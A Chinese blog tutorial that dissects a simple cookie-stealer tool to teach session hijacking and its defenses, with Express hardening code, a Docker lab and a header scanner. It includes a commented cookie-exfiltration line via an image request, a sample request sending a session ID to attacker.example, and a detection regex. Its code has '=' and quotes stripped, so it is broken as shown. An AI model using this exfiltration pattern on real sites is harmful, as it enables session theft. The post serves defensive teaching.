简介一份面向网络安全初学者与前端开发者的Cookie机制演示项目以JavaScript实现浏览器端Cookie读取与提交逻辑适合有一定JS基础、希望了解同源策略与跨站脚本原理的学习者也便于讲师在课堂做安全演示。压缩包共7个文件涵盖JavaScript脚本、浏览器扩展配置json、HTML演示页面、Python服务端脚本与Markdown说明文档整体仅33KB目录虽小但模块划分清晰。已有186人学习/下载。读者可结合说明文档搭建简易本地环境完成从Cookie采集到服务端接收的完整链路实验直观观察Cookie在普通页面与跨域请求中的传递差异在此基础上修改脚本还能对比Secure、HttpOnly等安全属性的防护效果对前端安全隐患形成具象认知。1. 拿到cookie-stealer源码之后这份资源真正值得看的是反面教材如果有人说收到一份叫 cookie-stealer 的 JavaScript 工具第一反应大概率是直接删掉。我拿到这份源码时的想法是先别急着格式化把它的逻辑读完反而能省下不少加班时间。这个工具用最朴素的 JavaScript 实现了 Cookie 窃取的完整链路从注入读取、编码、外传到服务端毫无察觉整个过程加起来不到几十行代码。对于维护过任何带登录态的 Web 系统的人来说它是一份绝佳的“安全反面教材”。我会把它当标本解析攻击者读取 Cookie 时做了什么浏览器为什么自动配合服务端为什么察觉不到以及每一步该在哪个位置补防御。适合安全测试、后端开发和全栈工程师新手也能靠它理解会话劫持的原理。先声明一点复现它时请只在你自己控制的靶机或测试环境里做拿这段逻辑去碰未授权的网站性质就完全变了。2. 攻击链路拆解从窃取到利用Cookie 安全边界在哪里2.1 攻击前提跨站脚本、不安全传输与本地作恶Cookie 窃取不是“拿到代码就能成功”的黑魔法它必须先满足若干前置条件。最常见的入口是跨站脚本也就是 XSS。存储型 XSS 把脚本写进评论区或资料页用户打开页面就自动执行反射型 XSS 则把 payload 放在链接参数里诱导受害者点击。不管是哪种只要脚本能在受害者的页面上下文里运行一句document.cookie就能读出当前域名下的非 HttpOnly 字段。第二个经常被忽略的前提是明文 HTTP 传输。Cookie 在 HTTP 链路上裸奔中间人抓包就能直接看到会话标识这跟脚本窃取是两条完全不同的路径但危害等价。第三个前提是本地恶意软件和浏览器扩展它们可以读取浏览器存储目录连 HttpOnly 也拦不住因为那已经是“文件系统级”的读取而不是 DOM 操作。做安全测试时我会先盘一遍目标应用有没有这三个入口而不是一上来就试 payload。三个入口对应的防御手段也不同XSS 靠输入过滤和 HttpOnly明文传输靠 HTTPS 加 Secure 属性本地恶意软件只能靠终端防护和会话异常检测。Cookie 自身的属性可以直接影响窃取难度整理成一张表会更清楚Cookie 属性作用能拦截什么拦不住什么HttpOnly禁止 JavaScript 读取 document.cookie脚本直接窃取明文 Cookie中间人抓包、请求自动携带Secure仅允许 HTTPS 传输明文链路截获同源 XSS 仍可通过请求借用会话SameSiteLax/Strict限制跨站请求携带 Cookie跨站请求伪造的部分场景同站 XSS 和恶意浏览器扩展Domain/Path 限定缩小 Cookie 可携带的范围减少非必要域名泄露不防注入点本身这四类属性不是叠得越多越安全而是每一层挡的都是不同攻击面。很多团队只开了 HttpOnly 就觉得高枕无忧这恰恰是后面要展开的重点。2.2 Cookie 被偷走之后的价值会话、身份与令牌攻击者偷 Cookie不是为了“看”而是为了“冒充”。大多数 Web 系统的登录态就是会话 ID 或 Token 放在 Cookie 里浏览器每次请求都会自动带上它。拿到这个东西攻击者等于拿到了“这个人当前已登录”的证明。把 Cookie 值写进自己的浏览器再访问目标站点服务端就会认定他是受害者本人。这一步在安全领域叫会话劫持也是 Cookie 窃取工具的最终目的。这里要顺带解释一个老生常谈的问题为什么攻击者盯着 Cookie 而不是 localStorage原因在于“自动携带”这个机制。localStorage 虽然也能被脚本读取但攻击者拿到值之后还得手动构造请求头把值塞进去Cookie 则不同只要域名和路径匹配浏览器全程自动附加攻击者连 JavaScript 都不用写第二行。Cookie 是“躺平”的会话凭证这是它成为攻击首选项的本质原因。会话劫持得手之后攻击者能做什么取决于应用的接口设计。轻则读取个人资料重则修改密码、发起转账、删除数据。更隐蔽的是攻击者可能不直接动数据只借用受害者的会话去触发一些高风险操作比如绑定手机号或修改安全邮箱为后续长期控制埋下伏笔。这也是为什么安全测试里Cookie 窃取的演练优先级一直很高。2.3 服务端视角为什么 HttpOnly 只能挡一半HttpOnly 这个属性在安全圈里有种迷之信任好像开了它Cookie 窃取就失效了。实际测试时你会经常翻车HttpOnly 确实挡掉了document.cookie的直接读取但攻击者根本不需要读取 Cookie 值本身。他只需要在注入点执行fetch(/api/changePassword)浏览器就会自动把这个域名的 Cookie 带上服务端照样认为是合法请求。HttpOnly 拦的是“看”拦不住“用”。这就引出一个关键认知Cookie 的安全不能只靠浏览器属性服务端必须能判断“当前请求的会话是不是原来签发的那一个”。常见做法是把会话绑定到 User-Agent、IP、设备指纹这类客户端特征上一旦发现特征变化立即判定为可疑会话并强制重新登录。从第 4 章开始我会给出具体可落地的服务端代码把这一节讲的边界问题变成实际防御。这种“属性只挡一半”的现象在安全里太常见了。每个防御措施都有它明确的边界HttpOnly 的边界就是 DOM 读取会写代码的人更应该关注边界之外的部分而不是把身家性命押在一个布尔值上。后文的避坑章节还会继续展开这片区域的雷点。3. 目录结构与核心模块一个“Cookie 窃取工具”的技术构成3.1 资源包目录速览与文件职责我拿到的这份源码是一个极简的示例项目典型结构是这样的。如果你下载的版本文件名略有出入按职责也能对号入座cookie-stealer/ ├── package.json ├── server.js # 接收端接收外传回来的Cookie数据 ├── payload.js # 注入端被插入目标页面的恶意脚本 ├── webhook.js # 转发模块把收到的数据转发到其他地址 └── README.mdpackage.json 是这个 npm 项目的入口描述里面通常只有极少的依赖因为这种工具的核心逻辑不依赖重型框架。server.js 是攻击者架在服务器上的接收端主要功能是起一个 HTTP 服务监听某个路径把收到的 Cookie 数据落盘或转发。payload.js 是真正被注入到目标浏览器里的脚本也是整个工具最核心的部分。webhook.js 是可选组件用于把收集到的数据二次转发到别的平台方便攻击者随时随地查看。从文件职责能看出一个共性整个工具代码量很小结构分三层——注入端负责读取数据传输通道负责把数据送出浏览器接收端负责存储和整理。三层之间没有加密、没有持久化、没有伪装属于最朴素的 demo 级实现。正因为它简单反而适合用来逐行分析攻击链路。3.2 关键模块收集、编码、外传整个工具的关键逻辑可以拆成三个动作收集、编码、外传。收集发生在目标页面内核心就是document.cookie编码是为了防止 Cookie 里的分号、等号、空格在 URL 传输时被截断外传则是把拼接好的请求发送到攻击者服务器常见技术手段有三种new Image().src、fetch和navigator.sendBeacon。三种外传方式各有各的定位。图片请求最隐蔽因为浏览器加载图片不触发预检日志里看起来只是一次普通资源请求fetch可控性最强可以设置 method、headers、mode但跨域时容易触发 CORS 预检sendBeacon是浏览器专为“页面卸载时上报”设计的 API适合窃取发生在跳转前的那一刻。实际的恶意脚本通常会根据场景混用这三种方式但这份资源里的实现以最简单为主。下面是从防御视角理解这三个动作时最有用的一段逻辑为了安全我把它改造成了研究用的截断版只展示链路不构成可运行攻击代码// 防御研究用示例展示窃取链路如何串起来 (function () { var cookies document.cookie; // 1. 收集 var encoded encodeURIComponent(cookies); // 2. 编码 // 3. 外传常见写法是 new Image().src https://xxx/collect?d encoded console.warn([research] 可读取Cookie长度:, encoded.length); // 研究专用 })();逻辑上依次做三件事先把document.cookie的值取出来再用encodeURIComponent做一次 URL 编码最后把编码后的字符串拼到外传地址上。这个链路里真正的检测点在第三步安全设备会盯着那些带collect路径和敏感参数名的请求。研究版本把外传替换成了控制台打印你在自己的靶场里复现时也建议先这样跑通链路再决定要不要接一个本地接收端。3.3 局限性为什么这份源码只配当“demo”既然是安全研究样本就该聊聊它的短板。这个工具最大的缺陷是没有持久化能力页面一刷新注入脚本就没了攻击者只能靠反复注入来维持访问。第二个缺陷是不挑目标它不会判断当前页面是不是目标账号、是不是测试环境拿到的数据里混着大量噪音。第三个缺陷是传输通道单一一旦安全设备做了外联白名单这种明晃晃的请求一眼就被掐断。更致命的是代码特征过于明显。安全设备里随便一条正则就能命中document.cookie加new Image().src的组合WAF 直接拦掉这种外联请求。真正的攻击工具会在传输层做加密、在注入端做反调试、在接收端做数据清洗而这份源码一样都没有。它存在的价值就是教学和蓝队训练把最经典的攻击范式压缩到几十行代码里让人一眼看懂是怎么回事。对测试者来说从这份 demo 起步再逐步加上编码混淆和流量伪装才能理解攻击工具是如何一步步变难缠的。4. 核心代码逐段拆解从读取到外传再到服务端加固4.1 读取与编码一个能被正则命中的“机关”先看最前面的收集与编码环节。攻击者写的代码通常长这样我仍然用截断版展示// 研究截断版直接运行会失败仅用于拆解攻击思路 function collectCookie() { var raw document.cookie; // 非HttpOnly的Cookie都在这里 var payload encodeURIComponent(raw); // 真正的外传地址被省略防止被直接复用 return payload; }第一行的document.cookie是浏览器提供的最原始接口任何页面内脚本都能调用不需要授权。它返回的是一个字符串形如namevalue; anothervalue2分号分隔每个 Cookie。第二行的encodeURIComponent是关键Cookie 值里经常出现、;、空格这些字符直接拼 URL 会被截断或误解编码后变成%3D、%3B这类安全格式。返回值里的 payload 就是攻击者要外传的“脏数据”。这个环节在代码审计里非常显眼。一个正常业务脚本通常不会去读document.cookie更不会把它编码后拼到某个 URL 上。安全扫描工具盯的就是这个模式比如正则/document\.cookie[\s\S]{0,50}encodeURIComponent/i基本能把这类样本捞出来。了解这个特征之后你写业务代码时也应该下意识避开这种模式别在正常功能里写类似的逻辑免得被安全设备误杀。4.2 外传通道图片请求为什么会成为首选外传阶段攻击者把编码后的 Cookie 发到自己的服务器。最经典的外传写法是造一个图片标签把参数拼在图片地址上浏览器会自动发起 GET 请求请求长这样GET /collect?dsessionid%3Dabc123 HTTP/1.1 Host: attacker.example图片请求为什么常被恶意脚本选中因为浏览器加载图片时不会关心响应内容更不会触发 CORS 预检服务端只需要记录请求参数不需要回传任何数据。从受害者的角度看页面里多加载了一张看不见的透明图片几乎没有任何感知。从安全设备日志的角度看它和普通广告追踪像素长得一模一样单看一条请求很难判定为恶意。针对这个环节防御方的检测点有三个第一路径名称collect、log、data这类抽象路径出现在业务页面里就很可疑第二参数结构请求里出现d、c这类短参数名且值是 URL 编码后的 Cookie 串需要重点排查第三请求频率和来源一个图片加载请求在短时间内大量出现、且 referer 是同一个页面就要回溯页面里是否被注入了脚本。把这些检测逻辑写进日志分析脚本就能在攻击链路中断之前发现端倪。4.3 服务端加固一份最小可落地的 Cookie 安全代码分析完攻击侧自然要落到怎么防。下面这份代码用 Node.js 加 Express 演示部署逻辑可以平移到其他语言。这段代码解决的核心问题是不仅让浏览器把 Cookie 藏好还要让服务端能识别“会话被复制到其他设备”的情况。const express require(express); const crypto require(crypto); function setSecureCookie(req, res, name) { // 把User-Agent哈希的前16位拼进会话ID作为设备指纹 const ua req.headers[user-agent] || ; const uaHash crypto.createHash(sha256).update(ua).digest(hex).slice(0, 16); const sessionId uaHash | crypto.randomBytes(32).toString(hex); res.cookie(name, sessionId, { httpOnly: true, // 禁止JavaScript读取 secure: true, // 仅HTTPS传输 sameSite: strict, // 阻止跨站携带 maxAge: 30 * 60 * 1000 // 30分钟短时效 }); } function authMiddleware(req, res, next) { const sessionId req.cookies.sid; if (!sessionId || !sessionId.includes(|)) { return res.status(401).send(unauthorized); } const ua req.headers[user-agent] || ; const uaHash crypto.createHash(sha256).update(ua).digest(hex).slice(0, 16); const embeddedHash sessionId.split(|)[0]; if (embeddedHash ! uaHash) { // 指纹不匹配说明会话可能被复制到了另一台设备 return res.status(401).send(session hijack detected); } next(); } app.get(/login, (req, res) { setSecureCookie(req, res, sid); res.send(login ok); }); app.get(/api/profile, authMiddleware, (req, res) { res.json({ name: demo, message: ok }); });代码分成两个部分。setSecureCookie干三件事生成一个带设备指纹的会话 ID通过res.cookie下发四个安全属性全部打开。httpOnly拦 DOM 读取secure拦明文传输sameSite: strict拦跨站请求携带maxAge把会话有效期压缩到 30 分钟减少被窃取后的攻击窗口。会话 ID 的格式是“UA 哈希前 16 位 竖线 随机串”随机串用crypto.randomBytes(32)生成熵足够高没法被预测。authMiddleware在每次请求进入业务逻辑之前做指纹校验从 Cookie 里取出会话 ID重新计算当前请求的 User-Agent 哈希再与会话 ID 里的前 16 位比对。不一致就说明这个会话离开了原来的设备环境直接返回 401。这样做有个明显收益攻击者即使拿到了完整的 Cookie 值只要他的 User-Agent 跟受害者不一致请求就会被拦下。实际生产环境里更稳妥的做法是把会话数据存 Redis把 UA 哈希和 IP 作为附属字段一并保存校验时从 Redis 读这里用拼接方式是为了让 demo 能独立跑起来。代码里还有一层容易被忽视的细节req.cookies.sid需要依赖 cookie-parser 中间件跑这段示例前记得先npm install express cookie-parser。而app的声明在示例里省略了补上const app express()即可。校验失败时返回 401 之前你应该把异常记录到日志或告警系统我习惯在next()之前加一行console.warn([security] session hijack from, req.ip)方便事后追溯。5. 避坑指南安全测试与防护验证中的常见问题5.1 靶场搭建隔离环境第一想要亲手验证上面这些逻辑建议先搭一个靶场。搭靶场的第一原则是用 Docker 或本地虚拟机做隔离别直接在开发环境里跑。我用 Docker 起一个最简单的 HTTP 服务只需要两行命令docker run --rm -d -p 8080:80 --name cookie-lab httpd:alpine docker exec cookie-lab sh -c echo test /usr/local/apache2/htdocs/index.html第一行启动一个 Alpine 版 Apache 容器映射到本机 8080 端口第二行往容器里写一个测试页。接下来在宿主机上用 curl 或浏览器开发者工具加一条响应头比如Set-Cookie: demohello; HttpOnly; SameSiteStrict然后在测试页里用document.cookie打印结果就能直观看到 HttpOnly 对脚本读取的影响。靶场里跑完记得docker stop cookie-lab清理环境别让它一直挂着。5.2 血泪踩坑记录现象、原因、解决这节写几条我实际验证中踩过的坑每条都是“现象→原因→解决”三段式省得你再走一遍。第一条脚本里document.cookie返回空但浏览器开发者工具里明明能看到 Cookie。原因是目标 Cookie 设置了 HttpOnly脚本读取不到是预期行为很多人误以为防御失效或代码有问题。解决方法是区分“读取失败”和“防御生效”同时打开网络面板看请求头确认 Cookie 是否仍被浏览器自动携带。HttpOnly 只挡读取不挡携带两条路径要分开观察。第二条给 Cookie 加了 Secure 属性后本地 HTTP 环境怎么都等不到 Cookie 下发。原因是 Secure 要求加密传输HTTP 明文连接会直接丢弃这条 Set-Cookie。解决方法是测试环境用https://localhost或加自签证书实在不行临时去掉 Secure但保留 HttpOnly等部署时再打开。第三条SameSiteLax 配上之后发现跨站请求还是带上了 Cookie。原因是 Lax 对跨站 GET 导航是放行的它主要挡的是跨站 POST、fetch 这类“写操作”。解决方法是区分场景如果你要防的是跨站请求伪造Lax 已覆盖大部分要更严格就上 Strict但 Strict 会影响第三方登录跳转的会话保持上线前要全局回归一遍。第四条会话指纹校验上线后正常用户频繁被踢下线。原因是用户换了网络环境或浏览器自动更新了 User-Agent指纹库里存的值和当下请求对不上。解决方法是不要把校验写得太死IP 单独变化先降级为告警而不是强制登出UA 变化则可以结合其他维度综合判断指纹是辅助手段不是唯一判据。第五条测试完 302 跳转流程发现恶意脚本跟着浏览器缓存留在了本地。原因是一些浏览器对页面和脚本做了启发式缓存尤其是有 Service Worker 时会离线保留。解决方法是测试结束后强制清空站点数据或者干脆在靶场容器里用无痕窗口测试无痕窗口关闭即清最省心。5.3 自动化扫描一条脚本检查所有 Cookie 安全属性手工点开每个页面去看 Cookie 属性太慢了我习惯用一段 Node 脚本直接扫。下面的代码用内置的https模块抓响应头逐一检查 HttpOnly、Secure、SameSite 是否到位const https require(https); function checkCookieSecurity(url) { https.get(url, (res) { const setCookie res.headers[set-cookie] || []; if (setCookie.length 0) { console.log(url, 未下发Cookie); return; } setCookie.forEach((item) { console.log(原始:, item); console.log( HttpOnly:, /httponly/i.test(item)); console.log( Secure:, /secure/i.test(item)); console.log( SameSite:, /samesite/i.test(item)); }); }); } checkCookieSecurity(https://example.com);脚本逻辑很直白请求目标地址读set-cookie响应头用三个正则分别测试属性是否出现。输出结果里每一个false都是潜在风险点。实际使用中我会把它扩展成并发扫一批 URL把结果汇总成表格然后按域名逐个修复。注意一点这个脚本只检查响应头验证不了 JS 读取 Cookie 的实际效果那些要靠靶场里的真实脚本测试。6. 二次开发把“窃取工具”改造成防窃取检测工具箱6.1 改造思路把接收端变成监测端这份源码最值得二次开发的部分不是 payload而是那条“注入→外传→接收”的链路。把它反转过来接收端就可以改造成一个会话异常监测服务在业务服务器上起一个本地接口专门接收前端上报的会话相关事件比如“Cookie 可被读取”“页面出现可疑外联请求”。前端运行时遇到异常就向本地接口上报服务端落库并告警。这样原本用于攻击的基础设施就变成了主动安全监测的探针。6.2 移植步骤与验证方法具体改造我建议按三步走。第一步把 payload.js 里的外传地址改成业务系统自己的监测接口第二步服务端对接第 4.3 节的authMiddleware让指纹校验失败的请求落到一个专门的告警表第三步写一个简化版前端探针在页面加载时检查document.cookie是否包含非 HttpOnly 的生产 Cookie有就把事件上报。验证方法是在靶场里模拟一次窃取流程用新浏览器复制 Cookie 后访问业务系统观察是否触发“session hijack detected”同时检查告警表是否落了一条记录。从那以后我每次接手 Web 项目第一件事都是先跑一遍第 5.3 节的扫描脚本检查 Cookie 属性再在靶场里复现一遍完整窃取链路确认服务端能拦住才算过关。希望这套从拆解到加固的思路能帮到你哪怕只是让你在打开这份源码时多一份“先想清楚边界”的警惕。本文还有配套的精品资源点击获取
阅读完成 · 觉得有帮助?